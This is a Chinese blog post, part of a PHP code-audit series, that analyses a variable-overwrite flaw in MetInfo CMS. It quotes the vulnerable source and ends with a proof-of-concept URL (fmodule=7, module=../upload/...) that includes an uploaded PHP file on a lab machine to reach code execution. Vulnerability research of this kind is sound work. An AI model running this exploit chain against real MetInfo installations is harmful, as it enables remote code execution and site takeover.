php代码审计【20】MetInfo 变量覆盖漏洞挖掘
一、安装MetInfo CMS 框架,完成后如图:
二、漏洞分析
漏洞文件地址\include\common.inc.php
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
这里注意$$request造成变量覆盖
代码中使用 $_request 来获取用户信息
代码主要是用于遍历初始化变量,所以很有可能会出现变量覆盖。
代码判断了 key 的第一个字符是不是“_”来避免覆盖系统全局变量,以及使用自定义函数 daddslashes() 对变量值进行处理。
那么这里daddslashes这个函数我们看看对传递的变量做了哪些处理或者过滤
/*POST变量转换*/
function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
if(is_array($string)){
if($url){
//$string='';
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}else{
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}
}
return $string;
}
\about\index.php:
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>
这个文件有两个可疑变量,$fmoudle和module,module,fmoudle的作用暂时不知道,$module这个变量是用来指定包含的文件的,并且$module在此页面没有被赋值,我们先来看看$module的值是什么
看到了$module的值是show.php,好我们再来看看$fmodule这个变量是干什么的
搜索后发现在在/include/module.php:
$module='';
if($fmodule!=7){
if($mdle==100)$mdle=3;
if($mdle==101)$mdle=5;
$module = $modulefname[$mdle][$mdtp];
if($module==NULL){okinfo('../404.html');exit();}
if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
if($fmodule==$mdle){
$module = $modulefname[$mdle][$mdtp];
}
else{
okinfo('../404.html');exit();
}
}
else{
module在about/index.php得到一个初始值,当module不等于7时,满足条件,fmodule在about/index.php得到一个初始值,当fmodule不等于7时,满足条件,module会被修改。当等于7时,fmodule就不会被初始化,而module又是可控的参数
到这里也就是说 \about\index.php 文件中的 $fmodule 变量可以通过包含 /include/module.php 包含common.inc.php 然后接收 $_request 来接受 $_GET 方法传递过来的新的 fmodule 值来导致原 fmodule 变量的值被覆盖
漏洞l利用:
下面就是利用的示例,包含上传的小马文件test.txt:
<?php phpinfo();?>
浏览器执行 http://192.168.189.129/metinfo/about/index.php?fmodule=7&module=../upload/text.txt
此时,删除我们之前的·die();代码,,然后再访问,我们的代码执行了。可以搞shell了,走起---》
总结:哎,今晚下载好代码复制不到虚拟机,百度后发现是因为升级系统到1909了,所以没办法使用vm14,,然后升级h15之后才好。耽误可好多时间。变量覆盖也是蛮严重的,直接导致RCE。
上一篇: 迅雷快车旋风下载专用链转换批处理代码
下一篇: log4j配置祥解